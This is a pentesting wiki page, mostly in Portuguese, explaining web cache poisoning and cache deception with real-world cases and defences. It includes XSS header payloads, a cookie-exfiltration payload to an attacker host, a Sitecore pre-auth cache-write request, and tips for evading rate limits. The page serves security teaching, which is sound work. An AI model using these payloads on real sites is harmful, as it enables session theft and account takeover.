22 KiB
Cache Poisoning and Cache Deception
{{#include ../../banners/hacktricks-training.md}}
A diferença
Qual é a diferença entre web cache poisoning e web cache deception?
- In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
- In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
Cache Poisoning
Cache poisoning tem como objetivo manipular o cache do lado do cliente para forçar os clientes a carregarem recursos inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente aos usuários que visitam a página durante o período de contaminação do cache.
A execução de um ataque de cache poisoning envolve vários passos:
- Identification of Unkeyed Inputs: Estes são parâmetros que, embora não sejam necessários para que uma requisição seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar estes inputs é crucial, pois eles podem ser explorados para manipular o cache.
- Exploitation of the Unkeyed Inputs: Após identificar os unkeyed inputs, o próximo passo envolve descobrir como abusar desses parâmetros para modificar a resposta do servidor de uma forma que favoreça o atacante.
- Ensuring the Poisoned Response is Cached: O passo final é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário acessando a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada.
Discovery: Check HTTP headers
Normalmente, quando uma resposta foi stored in the cache haverá um header indicando isso; você pode verificar quais cabeçalhos deve prestar atenção neste post: HTTP Cache headers.
Discovery: Caching error codes
Se você acha que a resposta está sendo armazenada em um cache, você pode tentar enviar requisições com um header inválido, que deveria ser respondido com um código de status 400. Depois tente acessar a requisição normalmente e, se a resposta for um código de status 400, você sabe que está vulnerável (e você poderia até realizar um DoS).
You can find more options in:
{{#ref}} cache-poisoning-to-dos.md {{#endref}}
No entanto, note que às vezes esse tipo de códigos de status não são cached, então esse teste pode não ser confiável.
Discovery: Identify and evaluate unkeyed inputs
Você pode usar Param Miner para brute-force parâmetros e cabeçalhos que podem estar alterando a resposta da página. Por exemplo, uma página pode estar usando o cabeçalho X-Forwarded-For
para indicar ao cliente carregar o script a partir dali:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Elicitar uma resposta prejudicial do servidor back-end
With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
Faça com que a resposta seja armazenada em cache
Once you have identified the page that can be abused, which parameter/header to use and how to abuse it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
The header X-Cache
in the response could be very useful as it may have the value miss
when the request wasn't cached and the value hit
when it is cached.
The header Cache-Control
is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800
Another interesting header is Vary
. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent
of the victim he is targeting, he can poison the cache for the users using that specific User-Agent
.
One more header related to the cache is Age
. It defines the times in seconds the object has been in the proxy cache.
When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.
Exploiting Examples
Easiest example
A header like X-Forwarded-For
is being reflected in the response unsanitized.
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note que isto irá poison a request para /en?region=uk
e não para /en
Cache poisoning to DoS
{{#ref}} cache-poisoning-to-dos.md {{#endref}}
Cache poisoning through CDNs
Em this writeup é explicado o seguinte cenário simples:
- A CDN irá armazenar em cache qualquer coisa sob
/share/
- A CDN NÃO irá decode nem normalize
%2F..%2F
, portanto, pode ser usada como path traversal to access other sensitive locations that will be cached comohttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- O web server VAI decode e normalize
%2F..%2F
, e irá responder com/api/auth/session
, que contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies também podem ser refletidos na resposta de uma página. Se você conseguir abusar disso para causar um XSS, por exemplo, você poderia explorar XSS em vários clients que carreguem a resposta de cache maliciosa.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Note que se o cookie vulnerável for muito usado pelos usuários, requisições regulares irão limpar o cache.
Generating discrepancies with delimiters, normalization and dots
Confira:
{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}
Cache poisoning with path traversal to steal API key
This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
because anything matching /share/*
will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
Isto também é explicado melhor em:
{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}
Using multiple headers to exploit web cache poisoning vulnerabilities
Às vezes você precisará exploit several unkeyed inputs para poder abusar de um cache. Por exemplo, você pode encontrar um Open redirect se definir X-Forwarded-Host
para um domínio controlado por você e X-Forwarded-Scheme
para http
. If o server estiver forwarding todas as HTTP requests to HTTPS e usando o header X-Forwarded-Scheme
como o nome de domínio para o redirect, você pode controlar para onde a página é apontada pelo redirect.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Explorando com Vary
header
Se você descobriu que o cabeçalho X-Host
está sendo usado como nome de domínio para carregar um recurso JS mas o cabeçalho Vary
na resposta está indicando User-Agent
. Então, você precisa encontrar uma forma de exfiltrar o User-Agent da vítima e envenenar o cache usando esse User-Agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envie um GET request com o request na URL e no body. Se o web server usar o que está no body mas o cache server cachear o que está na URL, qualquer pessoa acessando essa URL na verdade usará o parameter do body. Como a vuln que James Kettle encontrou no site do Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Há um lab do PortSwigger sobre isso: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Por exemplo, é possível separar parâmetros em servidores ruby usando o caractere ;
em vez de &
. Isso pode ser usado para colocar valores de parâmetros sem chave dentro de parâmetros com chave e abusar disso.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Aprenda aqui como realizar Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
O Web Cache Vulnerability Scanner pode ser usado para testar automaticamente Web Cache Poisoning. Ele suporta muitas técnicas diferentes e é altamente personalizável.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Esse padrão do mundo real encadeia uma primitiva de reflexão baseada em header com o comportamento do CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários:
- O HTML principal refletia um cabeçalho de requisição não confiável (por exemplo,
User-Agent
) para um contexto executável. - O CDN removia headers de cache, mas existia um cache interno/origem. O CDN também armazenava em cache automaticamente requisições terminadas em extensões estáticas (por exemplo,
.js
), enquanto o WAF aplicava uma inspeção de conteúdo mais fraca a GETs para assets estáticos. - Peculiaridades no fluxo de requisições permitiram que uma requisição para um caminho
.js
influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de header.
Receita prática (observada em um CDN/WAF popular):
- A partir de um IP limpo (evite downgrades pré-existentes baseados em reputação), defina um
User-Agent
malicioso via browser ou Burp Proxy Match & Replace. - No Burp Repeater, prepare um grupo de duas requisições e use "Send group in parallel" (o modo single-packet funciona melhor):
- Primeira requisição: GET de um caminho de recurso
.js
na mesma origem enquanto envia seuUser-Agent
malicioso. - Imediatamente depois: GET da página principal (
/
).
- A corrida de roteamento do CDN/WAF, juntamente com o
.js
armazenado em cache automaticamente, frequentemente semeia uma variante de HTML em cache envenenada que é então servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, mesmas dimensõesVary
comoUser-Agent
).
Exemplo de payload de header (para exfiltrar cookies não-HttpOnly):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Dicas operacionais:
- Muitos CDNs ocultam cabeçalhos de cache; poisoning pode aparecer apenas em ciclos de atualização de várias horas. Use múltiplos IPs de vantage e regule a taxa para evitar gatilhos de rate-limit ou de reputação.
- Usar um IP da própria nuvem do CDN às vezes melhora a consistência do roteamento.
- Se um CSP estrito estiver presente, isso ainda funciona se a reflexão for executada no contexto principal do HTML e o CSP permitir execução inline ou for contornado pelo contexto.
Impacto:
- Se os cookies de sessão não forem
HttpOnly
, um ATO zero-click é possível ao exfiltrar em massadocument.cookie
de todos os usuários que recebem o poisoned HTML.
Defesas:
- Pare de refletir cabeçalhos de requisição no HTML; faça encoding estrito por contexto se for inevitável. Alinhe as políticas de cache do CDN e da origem e evite variar com base em cabeçalhos não confiáveis.
- Garanta que o WAF aplique inspeção de conteúdo de forma consistente a requisições
.js
e caminhos estáticos. - Defina
HttpOnly
(eSecure
,SameSite
) nos cookies de sessão.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Um padrão específico do Sitecore permite escritas não autenticadas no HtmlCache ao abusar de handlers XAML pré‑auth e da reflexão do AjaxScriptManager. Quando o handler Sitecore.Shell.Xaml.WebControl
é alcançado, um xmlcontrol:GlobalHeader
(derivado de Sitecore.Web.UI.WebControl
) está disponível e a seguinte chamada reflexiva é permitida:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Isso grava HTML arbitrário sob uma chave de cache escolhida pelo atacante, permitindo envenenamento preciso uma vez que as chaves de cache são conhecidas.
Para detalhes completos (construção da chave de cache, enumeração do ItemService e uma RCE de desserialização encadeada pós-autenticação):
{{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}}
Exemplos Vulneráveis
Apache Traffic Server (CVE-2021-27577)
ATS encaminhava o fragmento dentro da URL sem removê-lo e gerava a chave de cache usando apenas host, path e query (ignorando o fragmento). Então a requisição /#/../?r=javascript:alert(1)
era enviada ao backend como /#/../?r=javascript:alert(1)
e a chave de cache não tinha o payload dentro dela, apenas host, path e query.
GitHub CP-DoS
Enviar um valor incorreto no header content-type acionava uma resposta 405 em cache. A chave de cache continha o cookie então era possível atacar apenas usuários não autenticados.
GitLab + GCP CP-DoS
GitLab usa GCP buckets para armazenar conteúdo estático. GCP Buckets suportam o header x-http-method-override
. Então foi possível enviar o header x-http-method-override: HEAD
e envenenar o cache fazendo com que retornasse um corpo de resposta vazio. Também poderia suportar o método PURGE
.
Rack Middleware (Ruby on Rails)
Em aplicações Ruby on Rails, é comum utilizar middleware Rack. O propósito do código Rack é pegar o valor do header x-forwarded-scheme
e defini-lo como o scheme da requisição. Quando o header x-forwarded-scheme: http
é enviado, ocorre um redirect 301 para a mesma localização, potencialmente causando um Denial of Service (DoS) a esse recurso. Adicionalmente, a aplicação pode reconhecer o header X-forwarded-host
e redirecionar usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript a partir do servidor do atacante, representando um risco de segurança.
403 e Storage Buckets
Cloudflare anteriormente cacheava respostas 403. Tentar acessar S3 ou Azure Storage Blobs com headers Authorization incorretos resultava em uma resposta 403 que era cacheada. Embora a Cloudflare tenha parado de cachear respostas 403, esse comportamento pode ainda estar presente em outros serviços proxy.
Injetando Parâmetros Chaveados
Caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly cacheava o parâmetro size
nas requisições. Porém, se uma versão URL-encoded do parâmetro (por exemplo, siz%65
) também fosse enviada com um valor errado, a chave de cache seria construída usando o parâmetro size
correto. Ainda assim, o backend processaria o valor no parâmetro URL-encoded. URL-encodar o segundo parâmetro size
fazia com que ele fosse omitido pelo cache mas utilizado pelo backend. Atribuir o valor 0 a esse parâmetro resultava em um erro 400 Bad Request que podia ser cacheado.
Regras de User Agent
Alguns desenvolvedores bloqueiam requisições com user-agents que correspondem aos de ferramentas de alto tráfego como FFUF ou Nuclei para gerir a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades como cache poisoning e DoS.
Campos de Header Ilegais
https://datatracker.ietf.mrg/doc/html/rfc7230 especifica os caracteres aceitáveis em nomes de header. Headers contendo caracteres fora do intervalo tchar especificado idealmente deveriam acionar uma resposta 400 Bad Request. Na prática, servidores nem sempre seguem esse padrão. Um exemplo notável é a Akamai, que encaminha headers com caracteres inválidos e cacheia qualquer erro 400, desde que o header cache-control
não esteja presente. Foi identificado um padrão explorável onde enviar um header com um caractere ilegal, como \
, resultava em um erro 400 Bad Request que podia ser cacheado.
Encontrando novos headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
O objetivo do Cache Deception é fazer com que clientes carreguem recursos que vão ser salvos pelo cache com suas informações sensíveis.
Primeiro, note que extensões como .css
, .js
, .png
etc. costumam ser configuradas para serem salvas no cache. Portanto, se você acessar www.example.com/profile.php/nonexistent.js
o cache provavelmente armazenará a resposta porque ele vê a extensão .js
. Mas, se a aplicação estiver respondendo com os conteúdos sensíveis do usuário armazenados em www.example.com/profile.php
, você pode roubar esses conteúdos de outros usuários.
Outras coisas para testar:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use extensões menos conhecidas, como
.avif
Outro exemplo bem claro pode ser encontrado neste write-up: https://hackerone.com/reports/593712.
No exemplo, é explicado que se você carregar uma página inexistente como http://www.example.com/home.php/non-existent.css
o conteúdo de http://www.example.com/home.php
(com as informações sensíveis do usuário) será retornado e o servidor de cache vai salvar o resultado.
Então, o attacker pode acessar http://www.example.com/home.php/non-existent.css
no próprio navegador e observar as informações confidenciais dos usuários que acessaram antes.
Observe que o proxy de cache deve ser configurado para cachear arquivos com base na extensão do arquivo (.css) e não com base no content-type. No exemplo http://www.example.com/home.php/non-existent.css
terá um content-type text/html
em vez de um mime type text/css
.
Aprenda aqui sobre como realizar Cache Deceptions attacks abusing HTTP Request Smuggling.
Ferramentas Automáticas
- toxicache: Golang scanner para encontrar vulnerabilidades de web cache poisoning em uma lista de URLs e testar múltiplas técnicas de injeção.
Referências
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
{{#include ../../banners/hacktricks-training.md}}